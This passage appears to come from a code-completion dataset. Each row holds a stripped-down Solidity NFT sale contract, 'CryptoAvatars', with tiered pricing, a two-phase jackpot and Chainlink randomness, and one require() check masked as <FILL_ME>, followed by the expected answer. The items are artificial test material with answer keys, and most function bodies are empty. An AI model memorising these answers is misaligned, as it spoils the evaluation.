function _transfer(address _address, uint256 _amount) private {
}
/**
* @dev return current ceil count for current supply
*
* @dev total supply = 0, ceil = 1000
* @dev total supply = 1, ceil = 1000
* @dev total supply = 999, ceil = 1000
* @dev total supply = 1000, ceil = 2000
* @dev total supply = 9999, ceil = 10000
* @dev total supply = 10000, ceil = 10000
*/
function _ceil(uint256 totalSupply) internal pure returns (uint256) {
}
}
| ownerOf(tokenID)==_msgSender(),"Not phase 2 winner" | 326,050 | ownerOf(tokenID)==_msgSender() |
"Max limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./ERC721Pausable.sol";
contract CryptoAvatars is VRFConsumerBase, ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 10000;
uint256 public constant ELEMENTS_PER_TIER = 1000;
uint256 public constant START_PRICE = 0.2 ether;
uint256 public constant PRICE_CHANGE_PER_TIER = 110; // price up 10% every tier
uint256 public constant MAX_BY_MINT = 20;
uint256 public constant BLOCKS_PER_MONTH = 199384; // assume each block is 13s, 1 month = 3600 * 24 * 30 / 13
address public immutable devAddress;
string public baseTokenURI;
bytes32 public immutable baseURIProof;
uint256 public jackpot;
uint256 public jackpotRemaining;
address public phase1Winner;
bool public phase1JackpotClaimed = false;
uint256 public phase2StartBlockNumber;
uint256 public phase2EndBlockNumber;
uint256 public phase2WinnerTokenID;
bool public phase2Revealed = false;
bool public phase2JackpotClaimed = false;
bytes32 internal chainlinkKeyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
bytes32 internal chainlinkRequestID;
uint256 private chainlinkFee = 2e18;
event CreateAvatar(uint256 indexed id);
event WinPhase1(address addr);
event WinPhase2(uint256 tokenID);
event ClaimPhase1Jackpot(address addr);
event ClaimPhase2Jackpot(address addr);
event Reveal();
event RevealPhase2();
struct State {
uint256 maxElements;
uint256 startPrice;
uint256 maxByMint;
uint256 elementsPerTier;
uint256 jackpot;
uint256 jackpotRemaining;
uint256 phase1Jackpot;
uint256 phase2Jackpot;
address phase1Winner;
uint256 phase2EndBlockNumber;
uint256 phase2WinnerTokenID;
bool phase2Revealed;
uint8 currentPhase;
uint256 currentTier;
uint256 currentPrice;
uint256 totalSupply;
bool paused;
}
/**
* @dev base token URI will be replaced after reveal
*
* @param baseURI set placeholder base token URI before revealing
* @param dev dev address
* @param proof final base token URI to reveal
*/
constructor(
string memory baseURI,
address dev,
bytes32 proof
)
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
ERC721("CryptoAvatars", "AVA")
{
}
// ******* modifiers *********
modifier saleIsOpen {
}
modifier saleIsEnd {
}
modifier onlyPhase1Winner {
}
modifier onlyPhase2Winner(uint256 tokenID) {
}
modifier onlyPhase2 {
}
modifier onlyPhase2AllowReveal {
}
modifier onlyPhase2Revealed {
}
// ********* public view functions **********
/**
* @notice total number of tokens minted
*/
function totalMint() public view returns (uint256) {
}
/**
* @notice current tier, start from 1 to 10
*/
function tier() public view returns (uint256) {
}
/**
* @notice get tier price of a specified tier
*
* @param tierN tier index, start from 1 to 10
*/
function tierPrice(uint256 tierN) public pure returns (uint256) {
}
/**
* @notice get the total price if you want to buy a number of avatars now
*
* @param count the number of avatars you want to buy
*/
function price(uint256 count) public view returns (uint256) {
}
/**
* @notice get all token IDs of CryptoAvatars of a address
*
* @param owner owner address
*/
function walletOfOwner(address owner) external view returns (uint256[] memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/**
* @notice get current state
*/
function state() public view returns (State memory) {
}
// ********* public functions **********
/**
* @notice purchase avatars
*
* @notice extra eth sent will be refunded
*
* @param count the number of avatars you want to purchase in one transaction
*/
function purchase(uint256 count) public payable saleIsOpen {
uint256 total = _totalSupply();
require(<FILL_ME>)
require(total <= MAX_ELEMENTS, "Sale end");
require(count <= MAX_BY_MINT, "Exceeds number");
uint256 requiredPrice = price(count);
require(msg.value >= requiredPrice, "Value below price");
uint256 refund = msg.value.sub(requiredPrice);
_transfer(devAddress, requiredPrice.mul(90).div(100));
for (uint256 i = 0; i < count; i++) {
_mintOne(_msgSender());
if (_totalSupply() == MAX_ELEMENTS) {
phase2StartBlockNumber = block.number;
phase2EndBlockNumber = phase2StartBlockNumber.add(BLOCKS_PER_MONTH);
phase1Winner = _msgSender();
emit WinPhase1(phase1Winner);
}
}
jackpot = jackpot.add(requiredPrice.mul(10).div(100));
jackpotRemaining = jackpot;
if (refund > 0) {
_transfer(_msgSender(), refund);
}
}
// ********* public onwer functions **********
/**
* @notice reveal the metadata of avatars
*
* @notice the baseURI should be equal to the proof when creating contract
* @notice metadata is immutable from the beginning of the contract
*/
function reveal(string memory baseURI) public onlyOwner {
}
/**
* @notice pause or unpause the contract
*/
function pause(bool val) public onlyOwner {
}
/**
* @notice reveal the winner token ID of phase 2
*
* @notice Chainlink VRF is used to generate the random token ID
*
* @dev make sure to transfer LINK to the contract before revealing
* @dev check chainlinkRequestID in callback
*/
function revealPhase2() public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase failed to generate random token ID from chainlink
*
* @notice community should check if owner use chainlink to reveal phase 2 jackpot,
* @notice it's better to add timelock to this action.
*
* @notice if we failed to generate random from chainlink, owner should generate random token id
* @notice in another contract under the governance of community, then manually update the winner token id
*/
function forceRevealPhase2(uint256 tokenID) public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase current ipfs gateway broken
*
* @notice community should check if owner call reveal method first,
* @notice it's better to add timelock to this action.
*
* @notice IPFS CID should be unchanged
*/
function forceSetBaseTokenURI(string memory baseURI) public onlyOwner {
}
/**
* @notice withdraw the balance except jackpotRemaining
*/
function withdraw() public onlyOwner {
}
/**
* @notice Requests randomness
*
* @dev manually call this method to check Chainlink works well
*/
function getRandomNumber() public virtual onlyOwner returns (bytes32 requestId) {
}
/**
* @notice set fee paid for Chainlink VRF
*/
function setChainlinkFee(uint256 fee) public onlyOwner {
}
// ********* public winner functions **********
/**
* @notice claim phase 1 jackpot by phase 1 winner
*/
function claimPhase1Jackpot() public whenNotPaused saleIsEnd onlyPhase1Winner {
}
/**
* @notice claim phase 2 jackpot by phase 2 winner
*/
function claimPhase2Jackpot() public
whenNotPaused
onlyPhase2
onlyPhase2Revealed
onlyPhase2Winner(phase2WinnerTokenID)
{
}
// ****** internal functions ******
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _totalSupply() internal virtual view returns (uint) {
}
function _priceChangePerTier() internal virtual pure returns (uint256) {
}
/**
* @notice Callback function used by VRF Coordinator
*
* @dev check requestId, callback is in a sperate transaction
* @dev do not revert in this method, chainlink will not retry to callback if reverted
* @dev to prevent chainlink from controling the contract, only allow the first callback to change state
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
}
// ******* private functions ********
function _mintOne(address _to) private {
}
function _transfer(address _address, uint256 _amount) private {
}
/**
* @dev return current ceil count for current supply
*
* @dev total supply = 0, ceil = 1000
* @dev total supply = 1, ceil = 1000
* @dev total supply = 999, ceil = 1000
* @dev total supply = 1000, ceil = 2000
* @dev total supply = 9999, ceil = 10000
* @dev total supply = 10000, ceil = 10000
*/
function _ceil(uint256 totalSupply) internal pure returns (uint256) {
}
}
| total+count<=MAX_ELEMENTS,"Max limit" | 326,050 | total+count<=MAX_ELEMENTS |
"Phase 2 revealed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./ERC721Pausable.sol";
contract CryptoAvatars is VRFConsumerBase, ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 10000;
uint256 public constant ELEMENTS_PER_TIER = 1000;
uint256 public constant START_PRICE = 0.2 ether;
uint256 public constant PRICE_CHANGE_PER_TIER = 110; // price up 10% every tier
uint256 public constant MAX_BY_MINT = 20;
uint256 public constant BLOCKS_PER_MONTH = 199384; // assume each block is 13s, 1 month = 3600 * 24 * 30 / 13
address public immutable devAddress;
string public baseTokenURI;
bytes32 public immutable baseURIProof;
uint256 public jackpot;
uint256 public jackpotRemaining;
address public phase1Winner;
bool public phase1JackpotClaimed = false;
uint256 public phase2StartBlockNumber;
uint256 public phase2EndBlockNumber;
uint256 public phase2WinnerTokenID;
bool public phase2Revealed = false;
bool public phase2JackpotClaimed = false;
bytes32 internal chainlinkKeyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
bytes32 internal chainlinkRequestID;
uint256 private chainlinkFee = 2e18;
event CreateAvatar(uint256 indexed id);
event WinPhase1(address addr);
event WinPhase2(uint256 tokenID);
event ClaimPhase1Jackpot(address addr);
event ClaimPhase2Jackpot(address addr);
event Reveal();
event RevealPhase2();
struct State {
uint256 maxElements;
uint256 startPrice;
uint256 maxByMint;
uint256 elementsPerTier;
uint256 jackpot;
uint256 jackpotRemaining;
uint256 phase1Jackpot;
uint256 phase2Jackpot;
address phase1Winner;
uint256 phase2EndBlockNumber;
uint256 phase2WinnerTokenID;
bool phase2Revealed;
uint8 currentPhase;
uint256 currentTier;
uint256 currentPrice;
uint256 totalSupply;
bool paused;
}
/**
* @dev base token URI will be replaced after reveal
*
* @param baseURI set placeholder base token URI before revealing
* @param dev dev address
* @param proof final base token URI to reveal
*/
constructor(
string memory baseURI,
address dev,
bytes32 proof
)
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
ERC721("CryptoAvatars", "AVA")
{
}
// ******* modifiers *********
modifier saleIsOpen {
}
modifier saleIsEnd {
}
modifier onlyPhase1Winner {
}
modifier onlyPhase2Winner(uint256 tokenID) {
}
modifier onlyPhase2 {
}
modifier onlyPhase2AllowReveal {
}
modifier onlyPhase2Revealed {
}
// ********* public view functions **********
/**
* @notice total number of tokens minted
*/
function totalMint() public view returns (uint256) {
}
/**
* @notice current tier, start from 1 to 10
*/
function tier() public view returns (uint256) {
}
/**
* @notice get tier price of a specified tier
*
* @param tierN tier index, start from 1 to 10
*/
function tierPrice(uint256 tierN) public pure returns (uint256) {
}
/**
* @notice get the total price if you want to buy a number of avatars now
*
* @param count the number of avatars you want to buy
*/
function price(uint256 count) public view returns (uint256) {
}
/**
* @notice get all token IDs of CryptoAvatars of a address
*
* @param owner owner address
*/
function walletOfOwner(address owner) external view returns (uint256[] memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/**
* @notice get current state
*/
function state() public view returns (State memory) {
}
// ********* public functions **********
/**
* @notice purchase avatars
*
* @notice extra eth sent will be refunded
*
* @param count the number of avatars you want to purchase in one transaction
*/
function purchase(uint256 count) public payable saleIsOpen {
}
// ********* public onwer functions **********
/**
* @notice reveal the metadata of avatars
*
* @notice the baseURI should be equal to the proof when creating contract
* @notice metadata is immutable from the beginning of the contract
*/
function reveal(string memory baseURI) public onlyOwner {
}
/**
* @notice pause or unpause the contract
*/
function pause(bool val) public onlyOwner {
}
/**
* @notice reveal the winner token ID of phase 2
*
* @notice Chainlink VRF is used to generate the random token ID
*
* @dev make sure to transfer LINK to the contract before revealing
* @dev check chainlinkRequestID in callback
*/
function revealPhase2() public onlyOwner onlyPhase2AllowReveal {
require(<FILL_ME>)
chainlinkRequestID = getRandomNumber();
}
/**
* @notice Call incase failed to generate random token ID from chainlink
*
* @notice community should check if owner use chainlink to reveal phase 2 jackpot,
* @notice it's better to add timelock to this action.
*
* @notice if we failed to generate random from chainlink, owner should generate random token id
* @notice in another contract under the governance of community, then manually update the winner token id
*/
function forceRevealPhase2(uint256 tokenID) public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase current ipfs gateway broken
*
* @notice community should check if owner call reveal method first,
* @notice it's better to add timelock to this action.
*
* @notice IPFS CID should be unchanged
*/
function forceSetBaseTokenURI(string memory baseURI) public onlyOwner {
}
/**
* @notice withdraw the balance except jackpotRemaining
*/
function withdraw() public onlyOwner {
}
/**
* @notice Requests randomness
*
* @dev manually call this method to check Chainlink works well
*/
function getRandomNumber() public virtual onlyOwner returns (bytes32 requestId) {
}
/**
* @notice set fee paid for Chainlink VRF
*/
function setChainlinkFee(uint256 fee) public onlyOwner {
}
// ********* public winner functions **********
/**
* @notice claim phase 1 jackpot by phase 1 winner
*/
function claimPhase1Jackpot() public whenNotPaused saleIsEnd onlyPhase1Winner {
}
/**
* @notice claim phase 2 jackpot by phase 2 winner
*/
function claimPhase2Jackpot() public
whenNotPaused
onlyPhase2
onlyPhase2Revealed
onlyPhase2Winner(phase2WinnerTokenID)
{
}
// ****** internal functions ******
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _totalSupply() internal virtual view returns (uint) {
}
function _priceChangePerTier() internal virtual pure returns (uint256) {
}
/**
* @notice Callback function used by VRF Coordinator
*
* @dev check requestId, callback is in a sperate transaction
* @dev do not revert in this method, chainlink will not retry to callback if reverted
* @dev to prevent chainlink from controling the contract, only allow the first callback to change state
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
}
// ******* private functions ********
function _mintOne(address _to) private {
}
function _transfer(address _address, uint256 _amount) private {
}
/**
* @dev return current ceil count for current supply
*
* @dev total supply = 0, ceil = 1000
* @dev total supply = 1, ceil = 1000
* @dev total supply = 999, ceil = 1000
* @dev total supply = 1000, ceil = 2000
* @dev total supply = 9999, ceil = 10000
* @dev total supply = 10000, ceil = 10000
*/
function _ceil(uint256 totalSupply) internal pure returns (uint256) {
}
}
| !phase2Revealed,"Phase 2 revealed" | 326,050 | !phase2Revealed |
"Not enough LINK" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./ERC721Pausable.sol";
contract CryptoAvatars is VRFConsumerBase, ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 10000;
uint256 public constant ELEMENTS_PER_TIER = 1000;
uint256 public constant START_PRICE = 0.2 ether;
uint256 public constant PRICE_CHANGE_PER_TIER = 110; // price up 10% every tier
uint256 public constant MAX_BY_MINT = 20;
uint256 public constant BLOCKS_PER_MONTH = 199384; // assume each block is 13s, 1 month = 3600 * 24 * 30 / 13
address public immutable devAddress;
string public baseTokenURI;
bytes32 public immutable baseURIProof;
uint256 public jackpot;
uint256 public jackpotRemaining;
address public phase1Winner;
bool public phase1JackpotClaimed = false;
uint256 public phase2StartBlockNumber;
uint256 public phase2EndBlockNumber;
uint256 public phase2WinnerTokenID;
bool public phase2Revealed = false;
bool public phase2JackpotClaimed = false;
bytes32 internal chainlinkKeyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
bytes32 internal chainlinkRequestID;
uint256 private chainlinkFee = 2e18;
event CreateAvatar(uint256 indexed id);
event WinPhase1(address addr);
event WinPhase2(uint256 tokenID);
event ClaimPhase1Jackpot(address addr);
event ClaimPhase2Jackpot(address addr);
event Reveal();
event RevealPhase2();
struct State {
uint256 maxElements;
uint256 startPrice;
uint256 maxByMint;
uint256 elementsPerTier;
uint256 jackpot;
uint256 jackpotRemaining;
uint256 phase1Jackpot;
uint256 phase2Jackpot;
address phase1Winner;
uint256 phase2EndBlockNumber;
uint256 phase2WinnerTokenID;
bool phase2Revealed;
uint8 currentPhase;
uint256 currentTier;
uint256 currentPrice;
uint256 totalSupply;
bool paused;
}
/**
* @dev base token URI will be replaced after reveal
*
* @param baseURI set placeholder base token URI before revealing
* @param dev dev address
* @param proof final base token URI to reveal
*/
constructor(
string memory baseURI,
address dev,
bytes32 proof
)
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
ERC721("CryptoAvatars", "AVA")
{
}
// ******* modifiers *********
modifier saleIsOpen {
}
modifier saleIsEnd {
}
modifier onlyPhase1Winner {
}
modifier onlyPhase2Winner(uint256 tokenID) {
}
modifier onlyPhase2 {
}
modifier onlyPhase2AllowReveal {
}
modifier onlyPhase2Revealed {
}
// ********* public view functions **********
/**
* @notice total number of tokens minted
*/
function totalMint() public view returns (uint256) {
}
/**
* @notice current tier, start from 1 to 10
*/
function tier() public view returns (uint256) {
}
/**
* @notice get tier price of a specified tier
*
* @param tierN tier index, start from 1 to 10
*/
function tierPrice(uint256 tierN) public pure returns (uint256) {
}
/**
* @notice get the total price if you want to buy a number of avatars now
*
* @param count the number of avatars you want to buy
*/
function price(uint256 count) public view returns (uint256) {
}
/**
* @notice get all token IDs of CryptoAvatars of a address
*
* @param owner owner address
*/
function walletOfOwner(address owner) external view returns (uint256[] memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/**
* @notice get current state
*/
function state() public view returns (State memory) {
}
// ********* public functions **********
/**
* @notice purchase avatars
*
* @notice extra eth sent will be refunded
*
* @param count the number of avatars you want to purchase in one transaction
*/
function purchase(uint256 count) public payable saleIsOpen {
}
// ********* public onwer functions **********
/**
* @notice reveal the metadata of avatars
*
* @notice the baseURI should be equal to the proof when creating contract
* @notice metadata is immutable from the beginning of the contract
*/
function reveal(string memory baseURI) public onlyOwner {
}
/**
* @notice pause or unpause the contract
*/
function pause(bool val) public onlyOwner {
}
/**
* @notice reveal the winner token ID of phase 2
*
* @notice Chainlink VRF is used to generate the random token ID
*
* @dev make sure to transfer LINK to the contract before revealing
* @dev check chainlinkRequestID in callback
*/
function revealPhase2() public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase failed to generate random token ID from chainlink
*
* @notice community should check if owner use chainlink to reveal phase 2 jackpot,
* @notice it's better to add timelock to this action.
*
* @notice if we failed to generate random from chainlink, owner should generate random token id
* @notice in another contract under the governance of community, then manually update the winner token id
*/
function forceRevealPhase2(uint256 tokenID) public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase current ipfs gateway broken
*
* @notice community should check if owner call reveal method first,
* @notice it's better to add timelock to this action.
*
* @notice IPFS CID should be unchanged
*/
function forceSetBaseTokenURI(string memory baseURI) public onlyOwner {
}
/**
* @notice withdraw the balance except jackpotRemaining
*/
function withdraw() public onlyOwner {
}
/**
* @notice Requests randomness
*
* @dev manually call this method to check Chainlink works well
*/
function getRandomNumber() public virtual onlyOwner returns (bytes32 requestId) {
require(<FILL_ME>)
return requestRandomness(chainlinkKeyHash, chainlinkFee);
}
/**
* @notice set fee paid for Chainlink VRF
*/
function setChainlinkFee(uint256 fee) public onlyOwner {
}
// ********* public winner functions **********
/**
* @notice claim phase 1 jackpot by phase 1 winner
*/
function claimPhase1Jackpot() public whenNotPaused saleIsEnd onlyPhase1Winner {
}
/**
* @notice claim phase 2 jackpot by phase 2 winner
*/
function claimPhase2Jackpot() public
whenNotPaused
onlyPhase2
onlyPhase2Revealed
onlyPhase2Winner(phase2WinnerTokenID)
{
}
// ****** internal functions ******
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _totalSupply() internal virtual view returns (uint) {
}
function _priceChangePerTier() internal virtual pure returns (uint256) {
}
/**
* @notice Callback function used by VRF Coordinator
*
* @dev check requestId, callback is in a sperate transaction
* @dev do not revert in this method, chainlink will not retry to callback if reverted
* @dev to prevent chainlink from controling the contract, only allow the first callback to change state
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
}
// ******* private functions ********
function _mintOne(address _to) private {
}
function _transfer(address _address, uint256 _amount) private {
}
/**
* @dev return current ceil count for current supply
*
* @dev total supply = 0, ceil = 1000
* @dev total supply = 1, ceil = 1000
* @dev total supply = 999, ceil = 1000
* @dev total supply = 1000, ceil = 2000
* @dev total supply = 9999, ceil = 10000
* @dev total supply = 10000, ceil = 10000
*/
function _ceil(uint256 totalSupply) internal pure returns (uint256) {
}
}
| LINK.balanceOf(address(this))>=chainlinkFee,"Not enough LINK" | 326,050 | LINK.balanceOf(address(this))>=chainlinkFee |
"Phase 1 jackpot claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "./ERC721Pausable.sol";
contract CryptoAvatars is VRFConsumerBase, ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 10000;
uint256 public constant ELEMENTS_PER_TIER = 1000;
uint256 public constant START_PRICE = 0.2 ether;
uint256 public constant PRICE_CHANGE_PER_TIER = 110; // price up 10% every tier
uint256 public constant MAX_BY_MINT = 20;
uint256 public constant BLOCKS_PER_MONTH = 199384; // assume each block is 13s, 1 month = 3600 * 24 * 30 / 13
address public immutable devAddress;
string public baseTokenURI;
bytes32 public immutable baseURIProof;
uint256 public jackpot;
uint256 public jackpotRemaining;
address public phase1Winner;
bool public phase1JackpotClaimed = false;
uint256 public phase2StartBlockNumber;
uint256 public phase2EndBlockNumber;
uint256 public phase2WinnerTokenID;
bool public phase2Revealed = false;
bool public phase2JackpotClaimed = false;
bytes32 internal chainlinkKeyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
bytes32 internal chainlinkRequestID;
uint256 private chainlinkFee = 2e18;
event CreateAvatar(uint256 indexed id);
event WinPhase1(address addr);
event WinPhase2(uint256 tokenID);
event ClaimPhase1Jackpot(address addr);
event ClaimPhase2Jackpot(address addr);
event Reveal();
event RevealPhase2();
struct State {
uint256 maxElements;
uint256 startPrice;
uint256 maxByMint;
uint256 elementsPerTier;
uint256 jackpot;
uint256 jackpotRemaining;
uint256 phase1Jackpot;
uint256 phase2Jackpot;
address phase1Winner;
uint256 phase2EndBlockNumber;
uint256 phase2WinnerTokenID;
bool phase2Revealed;
uint8 currentPhase;
uint256 currentTier;
uint256 currentPrice;
uint256 totalSupply;
bool paused;
}
/**
* @dev base token URI will be replaced after reveal
*
* @param baseURI set placeholder base token URI before revealing
* @param dev dev address
* @param proof final base token URI to reveal
*/
constructor(
string memory baseURI,
address dev,
bytes32 proof
)
VRFConsumerBase(
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
ERC721("CryptoAvatars", "AVA")
{
}
// ******* modifiers *********
modifier saleIsOpen {
}
modifier saleIsEnd {
}
modifier onlyPhase1Winner {
}
modifier onlyPhase2Winner(uint256 tokenID) {
}
modifier onlyPhase2 {
}
modifier onlyPhase2AllowReveal {
}
modifier onlyPhase2Revealed {
}
// ********* public view functions **********
/**
* @notice total number of tokens minted
*/
function totalMint() public view returns (uint256) {
}
/**
* @notice current tier, start from 1 to 10
*/
function tier() public view returns (uint256) {
}
/**
* @notice get tier price of a specified tier
*
* @param tierN tier index, start from 1 to 10
*/
function tierPrice(uint256 tierN) public pure returns (uint256) {
}
/**
* @notice get the total price if you want to buy a number of avatars now
*
* @param count the number of avatars you want to buy
*/
function price(uint256 count) public view returns (uint256) {
}
/**
* @notice get all token IDs of CryptoAvatars of a address
*
* @param owner owner address
*/
function walletOfOwner(address owner) external view returns (uint256[] memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
/**
* @notice get current state
*/
function state() public view returns (State memory) {
}
// ********* public functions **********
/**
* @notice purchase avatars
*
* @notice extra eth sent will be refunded
*
* @param count the number of avatars you want to purchase in one transaction
*/
function purchase(uint256 count) public payable saleIsOpen {
}
// ********* public onwer functions **********
/**
* @notice reveal the metadata of avatars
*
* @notice the baseURI should be equal to the proof when creating contract
* @notice metadata is immutable from the beginning of the contract
*/
function reveal(string memory baseURI) public onlyOwner {
}
/**
* @notice pause or unpause the contract
*/
function pause(bool val) public onlyOwner {
}
/**
* @notice reveal the winner token ID of phase 2
*
* @notice Chainlink VRF is used to generate the random token ID
*
* @dev make sure to transfer LINK to the contract before revealing
* @dev check chainlinkRequestID in callback
*/
function revealPhase2() public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase failed to generate random token ID from chainlink
*
* @notice community should check if owner use chainlink to reveal phase 2 jackpot,
* @notice it's better to add timelock to this action.
*
* @notice if we failed to generate random from chainlink, owner should generate random token id
* @notice in another contract under the governance of community, then manually update the winner token id
*/
function forceRevealPhase2(uint256 tokenID) public onlyOwner onlyPhase2AllowReveal {
}
/**
* @notice Call incase current ipfs gateway broken
*
* @notice community should check if owner call reveal method first,
* @notice it's better to add timelock to this action.
*
* @notice IPFS CID should be unchanged
*/
function forceSetBaseTokenURI(string memory baseURI) public onlyOwner {
}
/**
* @notice withdraw the balance except jackpotRemaining
*/
function withdraw() public onlyOwner {
}
/**
* @notice Requests randomness
*
* @dev manually call this method to check Chainlink works well
*/
function getRandomNumber() public virtual onlyOwner returns (bytes32 requestId) {
}
/**
* @notice set fee paid for Chainlink VRF
*/
function setChainlinkFee(uint256 fee) public onlyOwner {
}
// ********* public winner functions **********
/**
* @notice claim phase 1 jackpot by phase 1 winner
*/
function claimPhase1Jackpot() public whenNotPaused saleIsEnd onlyPhase1Winner {
require(<FILL_ME>)
require(jackpot > 0, "No jackpot");
uint256 phase1Jackpot = jackpot.mul(50).div(100);
require(phase1Jackpot > 0, "No phase 1 jackpot");
require(jackpotRemaining >= phase1Jackpot, "Not enough jackpot");
phase1JackpotClaimed = true;
jackpotRemaining = jackpot.sub(phase1Jackpot);
_transfer(_msgSender(), phase1Jackpot); // phase 1 winner get 50% of jackpot
emit ClaimPhase1Jackpot(_msgSender());
}
/**
* @notice claim phase 2 jackpot by phase 2 winner
*/
function claimPhase2Jackpot() public
whenNotPaused
onlyPhase2
onlyPhase2Revealed
onlyPhase2Winner(phase2WinnerTokenID)
{
}
// ****** internal functions ******
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _totalSupply() internal virtual view returns (uint) {
}
function _priceChangePerTier() internal virtual pure returns (uint256) {
}
/**
* @notice Callback function used by VRF Coordinator
*
* @dev check requestId, callback is in a sperate transaction
* @dev do not revert in this method, chainlink will not retry to callback if reverted
* @dev to prevent chainlink from controling the contract, only allow the first callback to change state
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
}
// ******* private functions ********
function _mintOne(address _to) private {
}
function _transfer(address _address, uint256 _amount) private {
}
/**
* @dev return current ceil count for current supply
*
* @dev total supply = 0, ceil = 1000
* @dev total supply = 1, ceil = 1000
* @dev total supply = 999, ceil = 1000
* @dev total supply = 1000, ceil = 2000
* @dev total supply = 9999, ceil = 10000
* @dev total supply = 10000, ceil = 10000
*/
function _ceil(uint256 totalSupply) internal pure returns (uint256) {
}
}
| !phase1JackpotClaimed,"Phase 1 jackpot claimed" | 326,050 | !phase1JackpotClaimed |
"Phase 2 jackpot claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
